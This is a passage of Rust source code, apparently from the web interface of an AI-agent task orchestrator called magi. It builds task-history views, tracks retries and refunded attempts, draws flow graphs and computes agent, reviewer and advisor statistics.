4573 ended_at: Option<Timestamp>,
4574 end: &'static str,
4576 cause: Option<crate::run::ParkCause>,
4577 label: String,
4579 cost: Option<crate::queue::PassCost>,
4582}
4583
4584impl PassView {
4585 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
4586 use crate::run::PassEnd;
4587 let (end, cause, label) = match &p.end {
4588 None => ("open", None, "still open".to_owned()),
4589 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
4590 Some(PassEnd::Unrecorded) => (
4591 "unrecorded",
4592 None,
4593 "stopped without recording why (a crash, a kill or a restart; not known)"
4594 .to_owned(),
4595 ),
4596 };
4597 Self {
4598 index: p.index,
4599 resumed: p.resumed,
4600 started_at: p.started_at,
4601 ended_at: p.ended_at,
4602 end,
4603 cause,
4604 label,
4605 cost: settled.map(|t| t.cost),
4606 }
4607 }
4608}
4609
4610#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4612#[serde(rename_all = "snake_case")]
4613enum RunExit {
4614 Unreadable,
4615 Interrupted,
4617 Parked,
4618 QuotaStall,
4619 ResumedQuotaStall,
4623 Merged,
4624 Ready,
4625 Superseded,
4626 AlreadyInBase,
4629 Stalled,
4631 HeldWithPr,
4633 NoopHeld,
4634 Spent,
4636 InProgress,
4637}
4638
4639#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4640#[serde(rename_all = "snake_case")]
4641enum AttemptCost {
4642 Spent,
4643 Refunded,
4644 None,
4645 Unknown,
4647}
4648
4649impl RunExit {
4650 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4651 let Some(s) = s else {
4652 return Self::Unreadable;
4653 };
4654 let status = s.status;
4655 if resumed_later {
4656 Self::Interrupted
4657 } else if s.parked {
4658 Self::Parked
4659 } else if !status.done() {
4660 Self::InProgress
4661 } else if matches!(status, RunStatus::Merged) {
4662 Self::Merged
4663 } else if matches!(status, RunStatus::Ready) {
4664 Self::Ready
4665 } else if matches!(status, RunStatus::Superseded) {
4666 Self::Superseded
4667 } else if matches!(status, RunStatus::AlreadyInBase) {
4668 Self::AlreadyInBase
4669 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4670 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4671 {
4672 if resumed {
4673 Self::ResumedQuotaStall
4674 } else {
4675 Self::QuotaStall
4676 }
4677 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4678 Self::HeldWithPr
4679 } else if matches!(status, RunStatus::VerifiedNoop) {
4680 Self::NoopHeld
4681 } else if matches!(status, RunStatus::Stalled) {
4682 Self::Stalled
4683 } else {
4684 Self::Spent
4685 }
4686 }
4687
4688 fn cost(self) -> AttemptCost {
4689 match self {
4690 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4691 Self::Merged
4692 | Self::Ready
4693 | Self::Stalled
4694 | Self::HeldWithPr
4695 | Self::NoopHeld
4696 | Self::Spent => AttemptCost::Spent,
4697 Self::InProgress => AttemptCost::None,
4698 Self::AlreadyInBase => AttemptCost::Refunded,
4699 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4700 AttemptCost::Unknown
4701 }
4702 }
4703 }
4704
4705 fn edge_label(self, status: Option<&str>) -> String {
4707 match self {
4708 Self::Unreadable => "record unreadable".to_owned(),
4709 Self::Interrupted => "interrupted before the run finished".to_owned(),
4710 Self::Parked => "parked, attempt refunded".to_owned(),
4711 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4712 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4713 Self::Merged => "merged".to_owned(),
4714 Self::Ready => "ready, not merged".to_owned(),
4715 Self::Superseded => "superseded by a later attempt".to_owned(),
4716 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4717 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4718 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4719 Self::NoopHeld => "verified no-op".to_owned(),
4720 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4721 Self::InProgress => "in progress".to_owned(),
4722 }
4723 }
4724
4725 fn explains(self, end: TaskStatus) -> bool {
4728 match self {
4729 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4730 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4731 Self::Unreadable | Self::Superseded | Self::Ready => true,
4732 _ => end != TaskStatus::Done,
4733 }
4734 }
4735}
4736
4737#[derive(Debug, Serialize)]
4739struct TaskDetailView {
4740 #[serde(flatten)]
4741 task: TaskView,
4742 max_attempts: usize,
4745 history: Vec<TaskRunView>,
4746 passes_total: usize,
4749 runs_distinct: usize,
4751 flow: FlowView,
4752 followup_origin: Option<FollowUpOrigin>,
4754 runs_unreadable: usize,
4756 attempts_note: &'static str,
4758}
4759
4760const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4761and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4762on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
4763the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
4764
4765fn review_branch_of(instruction: &str) -> Option<&str> {
4768 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4769 rest.split('`').next().filter(|b| !b.is_empty())
4770}
4771
4772#[derive(Default)]
4774struct RunSlot<'a> {
4775 n: usize,
4777 resumed: bool,
4779 resumed_later: Option<usize>,
4781 prior: Option<(&'a str, RunStatus)>,
4783 last: bool,
4784 pass: Option<&'a crate::run::RunPass>,
4786 settled: Option<&'a crate::queue::TaskPass>,
4788 pass_n: usize,
4790 passes_of_run: usize,
4791}
4792
4793fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4796 let RunSlot {
4797 n,
4798 resumed,
4799 resumed_later,
4800 prior,
4801 last,
4802 pass,
4803 settled,
4804 pass_n,
4805 passes_of_run,
4806 } = at;
4807 let short = run::short_of(id).to_owned();
4808 let Some(s) = state else {
4809 return TaskRunView {
4810 n,
4811 id: id.to_owned(),
4812 short,
4813 kind: "unknown",
4814 status: None,
4815 readable: false,
4816 provisional: false,
4817 description:
4818 "This run's record could not be read by this build (written by a different \
4819 magi, or removed), so what kind of attempt it was is unknown."
4820 .to_owned(),
4821 outcome: String::new(),
4822 created_at: None,
4823 pr: None,
4824 exit: RunExit::Unreadable,
4825 attempt: AttemptCost::Unknown,
4826 exit_label: RunExit::Unreadable.edge_label(None),
4827 later_pass: resumed_later,
4828 pass_n,
4829 passes_of_run,
4830 pass: None,
4831 branch: None,
4832 badge: None,
4833 };
4834 };
4835 let branch = review_branch_of(&s.instruction);
4836 let kind = if resumed {
4837 "resume"
4838 } else if branch.is_some() {
4839 "review"
4840 } else if task.solo || s.candidates.len() == 1 {
4841 "solo"
4842 } else {
4843 "competition"
4844 };
4845 let mut description = match kind {
4846 "resume" => {
4847 format!("Resumed run {short}: the same run carried on instead of competing again.")
4848 }
4849 "review" => format!(
4850 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4851 branch.unwrap_or_default()
4852 ),
4853 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4854 _ => format!(
4855 "Competition: {} candidates judged blind.",
4856 s.candidates.len().max(1)
4857 ),
4858 };
4859 if !resumed && let Some((p, st)) = prior {
4860 description.push_str(&format!(
4861 " A retry: run {p} before it ended {}.",
4862 st.display_label()
4863 ));
4864 }
4865
4866 let status = s.status;
4867 let provisional = matches!(status, RunStatus::Stalled)
4868 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4869 let head = if resumed_later.is_some() {
4870 String::new()
4871 } else {
4872 match status {
4873 RunStatus::Merged => "Merged.".to_owned(),
4874 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4875 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4876 RunStatus::AlreadyInBase => {
4877 "Already in the base: this change landed under other commits, nothing was left to land."
4878 .to_owned()
4879 }
4880 RunStatus::Stalled => {
4881 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4882 .to_owned()
4883 }
4884 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4885 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4886 RunStatus::VerifiedNoop => {
4887 "Verified no-op: the candidates found nothing to change.".to_owned()
4888 }
4889 other if other.done() => format!("Ended {}.", other.display_label()),
4890 other => format!("In progress ({}).", other.display_label()),
4891 }
4892 };
4893 let view = pass.map(|p| PassView::of(p, settled));
4894 let recorded_end = view
4895 .as_ref()
4896 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
4897 let cost_words = match view.as_ref().and_then(|v| v.cost) {
4898 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
4899 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
4900 None => "whether its attempt was handed back was not recorded",
4901 };
4902 let pass_note = if passes_of_run > 1 {
4903 format!(
4904 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
4905 )
4906 } else {
4907 String::new()
4908 };
4909 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
4910 let cause = match v.end {
4912 "parked" => format!("It was stopped on purpose: {}.", v.label),
4913 _ => format!("It {}.", v.label),
4914 };
4915 format!(
4916 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
4917 capitalise(cost_words)
4918 )
4919 } else if let Some(k) = resumed_later {
4920 let cause = if s.quota.is_empty() {
4927 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4928 } else {
4929 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4930 };
4931 format!(
4932 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4933 )
4934 } else if s.parked {
4935 match recorded_end.and_then(|v| v.cause.as_ref()) {
4936 Some(cause) => format!(
4937 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
4938 cause.label(),
4939 cost_words
4940 ),
4941 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
4942 .to_owned(),
4943 }
4944 } else if !status.done()
4945 || matches!(
4946 status,
4947 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4948 )
4949 {
4950 String::new()
4951 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4952 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4953 {
4954 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4955 .to_owned()
4956 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4957 " It left a pull request open, so the task was held for a person rather than retried."
4958 .to_owned()
4959 } else if matches!(status, RunStatus::VerifiedNoop) {
4960 " Held for a person to check the claim.".to_owned()
4961 } else if last {
4962 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4963 } else {
4964 " It spent an attempt, and the task moved on to the next run.".to_owned()
4965 };
4966 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4967 let mut attempt = exit.cost();
4968 let mut exit_label = None;
4969 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
4970 let spent = match v.cost {
4971 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
4972 Some(crate::queue::PassCost::Spent) => ", attempt counted",
4973 None if resumed_later.is_some() => ", refund not recorded",
4974 None => ", attempt refunded",
4975 };
4976 attempt = match v.cost {
4977 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
4978 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
4979 None if resumed_later.is_some() => AttemptCost::Unknown,
4980 None => attempt,
4981 };
4982 if v.end == "parked" {
4983 exit = RunExit::Parked;
4984 exit_label = Some(match v.cause.as_ref() {
4985 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
4986 format!("parked for {}{spent}", c.label())
4987 }
4988 Some(c) => format!("parked ({}){spent}", c.label()),
4989 None => format!("parked{spent}"),
4990 });
4991 } else {
4992 exit_label = Some(format!("stopped without a recorded cause{spent}"));
4993 }
4994 }
4995 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
4996 TaskRunView {
4997 n,
4998 id: id.to_owned(),
4999 short,
5000 kind,
5001 status: Some(status.as_str()),
5002 readable: true,
5003 provisional,
5004 description,
5005 outcome: format!("{head}{why}"),
5006 created_at: Some(s.created_at),
5007 pr: s.pr.as_ref().map(|p| p.url.clone()),
5008 exit,
5009 attempt,
5010 exit_label,
5011 later_pass: resumed_later,
5012 pass_n,
5013 passes_of_run,
5014 pass: view,
5015 branch: branch.map(str::to_owned),
5016 badge: None,
5017 }
5018}
5019
5020fn capitalise(s: &str) -> String {
5021 let mut c = s.chars();
5022 c.next().map_or_else(String::new, |f| {
5023 f.to_uppercase().collect::<String>() + c.as_str()
5024 })
5025}
5026
5027#[derive(Debug, Serialize, PartialEq)]
5029struct FlowNode {
5030 key: String,
5032 kind: &'static str,
5034 label: String,
5035 status: Option<&'static str>,
5038 status_of: &'static str,
5041 note: Option<&'static str>,
5043 run_kind: Option<&'static str>,
5044 detail: Option<String>,
5045 decided: bool,
5047 readable: bool,
5048 href: Option<String>,
5049 badge: Option<String>,
5051}
5052
5053#[derive(Debug, Serialize, PartialEq)]
5054struct FlowEdge {
5055 from: String,
5056 to: String,
5057 label: String,
5058 attempt: AttemptCost,
5059}
5060
5061#[derive(Debug, Serialize, PartialEq)]
5062struct FlowView {
5063 nodes: Vec<FlowNode>,
5064 edges: Vec<FlowEdge>,
5065 attempts: usize,
5067 max_attempts: usize,
5068 passes: usize,
5071 runs: usize,
5072}
5073
5074fn task_flow(
5083 task: &Task,
5084 history: &[TaskRunView],
5085 max_attempts: usize,
5086 origin: Option<&FollowUpOrigin>,
5087) -> FlowView {
5088 let max_attempts = task.effective_attempt_limit(max_attempts);
5089 let node = |key: &str, kind, label: String| FlowNode {
5090 key: key.to_owned(),
5091 kind,
5092 label,
5093 status: None,
5094 status_of: "run",
5095 note: None,
5096 run_kind: None,
5097 detail: None,
5098 decided: false,
5099 readable: true,
5100 href: None,
5101 badge: None,
5102 };
5103 let mut nodes = Vec::new();
5104 let mut edges: Vec<FlowEdge> = Vec::new();
5105 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5107 let mut n = node(
5108 "chat",
5109 "chat",
5110 format!("Chat {}", crate::queue::short(&link.id)),
5111 );
5112 n.href = Some(link.href);
5113 nodes.push(n);
5114 edges.push(FlowEdge {
5115 from: "chat".to_owned(),
5116 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5117 label: "queued from chat".to_owned(),
5118 attempt: AttemptCost::None,
5119 });
5120 }
5121 if let Some(o) = origin {
5122 let mut n = match &o.parent {
5123 Some(p) => {
5124 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5125 n.status = Some(p.status);
5126 n.status_of = "task";
5127 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5128 n.href = Some(p.href.clone());
5129 n
5130 }
5131 None => {
5132 let mut n = node(
5133 "origin",
5134 "followup",
5135 format!("Follow-up of run {}", o.run.short),
5136 );
5137 n.detail = Some("merged run".to_owned());
5138 n.status = o.run.status;
5139 n.href = o.run.href.clone();
5140 if o.run.href.is_none() {
5141 n.readable = false;
5142 n.note = Some("unreadable");
5143 }
5144 n
5145 }
5146 };
5147 n.decided = true;
5148 let from = n.key.clone();
5149 nodes.push(n);
5150 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5151 let more = o.findings.len().saturating_sub(shown.len());
5152 let label = match (shown.is_empty(), more) {
5153 (true, _) => "open findings".to_owned(),
5154 (false, 0) => format!("open findings {}", shown.join(", ")),
5155 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5156 };
5157 edges.push(FlowEdge {
5158 from,
5159 to: "start".to_owned(),
5160 label,
5161 attempt: AttemptCost::None,
5162 });
5163 }
5164 nodes.push(node("start", "start", "Task queued".to_owned()));
5165 let mut prev = "start".to_owned();
5166 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5167 for (i, h) in history.iter().enumerate() {
5168 let key = format!("run-{}", h.n);
5169 let mut n = node(&key, "run", format!("Run {}", h.short));
5170 n.run_kind = Some(h.kind);
5171 n.readable = h.readable;
5172 n.href = Some(format!("#/runs/{}", h.id));
5173 n.decided = h.readable && !h.provisional;
5174 n.detail = h
5175 .branch
5176 .as_ref()
5177 .map(|b| format!("review-only run of branch {b}"));
5178 match h.exit {
5179 RunExit::Unreadable => n.note = Some("unreadable"),
5180 RunExit::Interrupted => n.note = Some("interrupted"),
5181 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5184 _ => {
5185 n.status = h.status;
5186 n.badge = h.badge.clone();
5187 if h.provisional {
5188 n.note = Some("no verdict");
5189 }
5190 }
5191 }
5192 let into = match h.kind {
5193 "review" => Some(format!(
5194 "review-only run of branch {}",
5195 h.branch.as_deref().unwrap_or("?")
5196 )),
5197 "resume" => Some("resume the same run".to_owned()),
5198 _ if i > 0 => Some("retry".to_owned()),
5199 _ => None,
5200 };
5201 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5202 let label = match (prev_exit, into) {
5203 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5204 (Some((_, l, _)), None) => l,
5205 (None, Some(i)) => i,
5206 (None, None) => "claimed".to_owned(),
5207 };
5208 edges.push(FlowEdge {
5209 from: prev.clone(),
5210 to: key.clone(),
5211 label,
5212 attempt,
5213 });
5214 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5215 prev = key;
5216 nodes.push(n);
5217 }
5218 let mut end = node("end", "end", task.status.as_str().to_owned());
5219 end.status = Some(task.status.as_str());
5220 end.status_of = "task";
5221 nodes.push(end);
5222 let (label, attempt) = match prev_exit {
5223 None => (
5224 format!("no run yet \u{2192} {}", task.status.as_str()),
5225 AttemptCost::None,
5226 ),
5227 Some((e, l, cost)) if e.explains(task.status) => {
5228 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5229 }
5230 Some((_, _, cost)) => (
5231 format!("closed by hand: task is {}", task.status.as_str()),
5232 cost,
5233 ),
5234 };
5235 edges.push(FlowEdge {
5236 from: prev,
5237 to: "end".to_owned(),
5238 label,
5239 attempt,
5240 });
5241 FlowView {
5242 nodes,
5243 edges,
5244 attempts: task.attempts,
5245 max_attempts,
5246 passes: history.len(),
5247 runs: distinct_runs(&task.runs),
5248 }
5249}
5250
5251fn distinct_runs(runs: &[String]) -> usize {
5253 let mut seen: Vec<&str> = Vec::new();
5254 for r in runs {
5255 if !seen.contains(&r.as_str()) {
5256 seen.push(r);
5257 }
5258 }
5259 seen.len()
5260}
5261
5262fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
5264 let mut slots = Vec::new();
5265 let mut seen = Vec::new();
5266 for run_id in &task.runs {
5267 if seen.contains(&run_id) {
5268 continue;
5269 }
5270 seen.push(run_id);
5271 let state = read(run_id);
5272 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
5273 s.passes
5274 .iter()
5275 .filter(|p| {
5276 p.task_entry
5277 || task
5278 .passes
5279 .iter()
5280 .any(|t| t.run == *run_id && t.pass_index == p.index)
5281 })
5282 .cloned()
5283 .collect()
5284 });
5285 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
5286 let total = legacy_count.max(mine.len());
5287 let offset = total - mine.len();
5288 for k in 0..total {
5289 let position = task
5292 .runs
5293 .iter()
5294 .enumerate()
5295 .filter(|(_, r)| *r == run_id)
5296 .nth(k.min(legacy_count - 1))
5297 .unwrap()
5298 .0;
5299 slots.push((
5300 run_id,
5301 state.clone(),
5302 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
5303 position,
5304 ));
5305 }
5306 }
5307 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
5308 slots.sort_by_key(|(_, state, pass, _)| {
5309 pass.as_ref()
5310 .map(|p| p.started_at)
5311 .or_else(|| state.as_ref().map(|s| s.created_at))
5312 .map_or((true, task.created_at), |at| (false, at))
5313 });
5314 } else {
5315 slots.sort_by_key(|(_, _, _, position)| *position);
5316 }
5317 let mut history = Vec::with_capacity(slots.len());
5318 let mut seen: Vec<&str> = Vec::new();
5319 let mut prior: Option<(&str, RunStatus)> = None;
5320 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
5321 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
5322 let resumed = k > 0;
5323 seen.push(run_id);
5324 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
5325 let pass = pass.as_ref();
5326 let settled = pass.and_then(|p| {
5327 task.passes
5328 .iter()
5329 .find(|t| t.run == **run_id && t.pass_index == p.index)
5330 });
5331 history.push(task_run_view(
5332 run_id,
5333 state.as_ref(),
5334 RunSlot {
5335 n: i + 1,
5336 resumed,
5337 resumed_later: slots[i + 1..]
5338 .iter()
5339 .position(|(id, _, _, _)| id == run_id)
5340 .map(|off| i + off + 2),
5341 prior,
5342 last: i + 1 == slots.len(),
5343 pass,
5344 settled,
5345 pass_n: k + 1,
5346 passes_of_run: total,
5347 },
5348 task,
5349 ));
5350 if let Some(s) = &state {
5351 prior = Some((run::short_of(run_id), s.status));
5352 }
5353 }
5354 history
5355}
5356
5357fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
5360 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
5361 return;
5362 }
5363 let (_, claimed, _) = run_row_inputs(ui);
5364 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5365 for h in history
5366 .iter_mut()
5367 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
5368 {
5369 let Ok(state) = read_run(&ui.runs, &h.id) else {
5370 continue;
5371 };
5372 if state.status.done() {
5373 continue;
5374 }
5375 let live = state.liveness_with(
5376 claimed.contains(&h.id),
5377 |p| probe.borrow_mut().status(p),
5378 |p| probe.borrow_mut().started_at(p),
5379 );
5380 let waiting = !ui.questions.open_for(&h.id).is_empty();
5381 let display = run_display_status(&state, waiting, live);
5382 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
5383 if matches!(word.as_str(), "stale" | "superseded")
5384 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
5385 {
5386 h.badge = Some(word);
5387 }
5388 }
5389}
5390
5391async fn task_detail(
5392 State(ui): State<Arc<Ui>>,
5393 Path(id): Path<String>,
5394) -> ApiResult<Json<TaskDetailView>> {
5395 blocking(move || {
5396 let id = resolve_task(&ui.queue, &id)?;
5397 let task = ui
5398 .queue
5399 .get(&id)
5400 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
5401 let inv = crate::blockers::Inventory::load(&ui.queue, &ui.questions);
5402 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
5403 mark_badges(&ui, &task, &mut history);
5404 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
5405 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
5406 let origin = task.followup.as_ref().map(|fu| {
5407 followup_origin(
5408 fu,
5409 |tid| ui.queue.get(tid).ok(),
5410 |rid| read_run(&ui.runs, rid).ok(),
5411 )
5412 });
5413 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
5414 Ok(Json(TaskDetailView {
5415 max_attempts,
5416 flow,
5417 followup_origin: origin,
5418 passes_total: history.len(),
5419 runs_distinct: distinct_runs(&task.runs),
5420 history,
5421 runs_unreadable,
5422 attempts_note: ATTEMPTS_NOTE,
5423 task: TaskView::with_inventory(task, &inv),
5424 }))
5425 })
5426 .await
5427}
5428
5429#[derive(Debug, Serialize)]
5433struct RateView {
5434 pct: f64,
5435 denominator: usize,
5436}
5437
5438impl RateView {
5439 fn of(numerator: usize, denominator: usize) -> Option<Self> {
5440 (denominator > 0).then(|| Self {
5441 pct: 100.0 * numerator as f64 / denominator as f64,
5442 denominator,
5443 })
5444 }
5445}
5446
5447#[derive(Debug, Serialize)]
5452struct StatsTotalsView {
5453 runs: usize,
5454 merged: usize,
5455 ready: usize,
5456 blocked: usize,
5457 failed: usize,
5458 stalled: usize,
5459 verified_noop: usize,
5460 superseded: usize,
5461 in_progress: usize,
5462 completion_rate: Option<RateView>,
5463 tallied: usize,
5464 split: usize,
5465 split_rate: Option<RateView>,
5466 deliberated: usize,
5467 minds_changed: usize,
5468 converged: usize,
5469 review_rounds: usize,
5470}
5471
5472impl From<&stats::Totals> for StatsTotalsView {
5473 fn from(t: &stats::Totals) -> Self {
5474 Self {
5475 runs: t.runs,
5476 merged: t.merged,
5477 ready: t.ready,
5478 blocked: t.blocked,
5479 failed: t.failed,
5480 stalled: t.stalled,
5481 verified_noop: t.verified_noop,
5482 superseded: t.superseded,
5483 in_progress: t.in_progress,
5484 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5485 tallied: t.tallied,
5486 split: t.split,
5487 split_rate: RateView::of(t.split, t.tallied),
5488 deliberated: t.deliberated,
5489 minds_changed: t.minds_changed,
5490 converged: t.converged,
5491 review_rounds: t.review_rounds,
5492 }
5493 }
5494}
5495
5496#[derive(Debug, Serialize)]
5498struct AgentStatsView {
5499 agent: String,
5500 entered: usize,
5501 wins: usize,
5502 empty: usize,
5503 win_rate: Option<RateView>,
5504 competitive_entered: usize,
5505 competitive_wins: usize,
5506 competitive_win_rate: Option<RateView>,
5507 solo_entered: usize,
5508 solo_adopted: usize,
5509 solo_adoption_rate: Option<RateView>,
5510}
5511
5512impl From<&stats::AgentStats> for AgentStatsView {
5513 fn from(a: &stats::AgentStats) -> Self {
5514 Self {
5515 agent: a.agent.clone(),
5516 entered: a.entered,
5517 wins: a.wins,
5518 empty: a.empty,
5519 win_rate: RateView::of(a.wins, a.entered),
5520 competitive_entered: a.competitive_entered,
5521 competitive_wins: a.competitive_wins,
5522 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5523 solo_entered: a.solo_entered,
5524 solo_adopted: a.solo_adopted,
5525 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5526 }
5527 }
5528}
5529
5530#[derive(Debug, Serialize)]
5534struct ReviewerStatsView {
5535 agent: String,
5536 rounds: usize,
5537 seated: usize,
5538 submitted: usize,
5539 adopted: usize,
5540 unique: usize,
5541 timeouts: usize,
5542 adopted_per_round: Option<f64>,
5543 precision: Option<RateView>,
5544 unique_rate: Option<RateView>,
5545 timeout_rate: Option<RateView>,
5546}
5547
5548impl From<&stats::ReviewerStats> for ReviewerStatsView {
5549 fn from(r: &stats::ReviewerStats) -> Self {
5550 Self {
5551 agent: r.agent.clone(),
5552 rounds: r.rounds,
5553 seated: r.seated,
5554 submitted: r.submitted,
5555 adopted: r.adopted,
5556 unique: r.unique,
5557 timeouts: r.timeouts,
5558 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5559 precision: RateView::of(r.adopted, r.submitted),
5560 unique_rate: RateView::of(r.unique, r.submitted),
5561 timeout_rate: RateView::of(r.timeouts, r.seated),
5562 }
5563 }
5564}
5565
5566#[derive(Debug, Serialize)]
5572struct AdvisorStatsView {
5573 agent: String,
5574 seated: usize,
5575 proposed: usize,
5576 absent: usize,
5577 faint: usize,
5578 strong: usize,
5579 reflection_rate: Option<RateView>,
5580}
5581
5582impl From<&stats::AdvisorStats> for AdvisorStatsView {
5583 fn from(a: &stats::AdvisorStats) -> Self {
5584 Self {
5585 agent: a.agent.clone(),
5586 seated: a.seated,
5587 proposed: a.proposed,
5588 absent: a.absent,
5589 faint: a.faint,
5590 strong: a.strong,
5591 reflection_rate: RateView::of(a.strong, a.proposed),
5592 }
5593 }
5594}
5595
5596#[derive(Debug, Serialize)]
5598struct E2eStatsView {
5599 rounds: usize,
5600 failures: usize,
5601 sole_detections: usize,
5602 deferred: usize,
5603 sole_rate: Option<RateView>,
5604}
5605
5606impl From<&stats::E2eStats> for E2eStatsView {
5607 fn from(e: &stats::E2eStats) -> Self {
5608 Self {
5609 rounds: e.rounds,
5610 failures: e.failures,
5611 sole_detections: e.sole_detections,
5612 deferred: e.deferred,
5613 sole_rate: RateView::of(e.sole_detections, e.failures),
5614 }
5615 }
5616}
5617
5618#[derive(Debug, Serialize)]
5626struct ReleaseBumpStatsView {
5627 merged: usize,
5628 recorded: usize,
5629 pr_opened: usize,
5630 automerge_enabled: usize,
5631 merged_directly: usize,
5632 needs_attention: usize,
5633 clean: usize,
5634 coverage_rate: Option<RateView>,
5635 automerge_rate: Option<RateView>,
5636 attention_rate: Option<RateView>,
5637}
5638
5639impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5640 fn from(b: &stats::ReleaseBumpStats) -> Self {
5641 Self {
5642 merged: b.merged,
5643 recorded: b.recorded,
5644 pr_opened: b.pr_opened,
5645 automerge_enabled: b.automerge_enabled,
5646 merged_directly: b.merged_directly,
5647 needs_attention: b.needs_attention,
5648 clean: b.clean(),
5649 coverage_rate: RateView::of(b.recorded, b.merged),
5650 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5651 attention_rate: RateView::of(b.needs_attention, b.recorded),
5652 }
5653 }
5654}
5655
5656#[derive(Debug, Serialize)]
5658struct TaskCountsView {
5659 queued: usize,
5660 running: usize,
5661 done: usize,
5662 failed: usize,
5663 held: usize,
5664 blocked: usize,
5665 parked: usize,
5666}
5667
5668impl From<crate::queue::TaskCounts> for TaskCountsView {
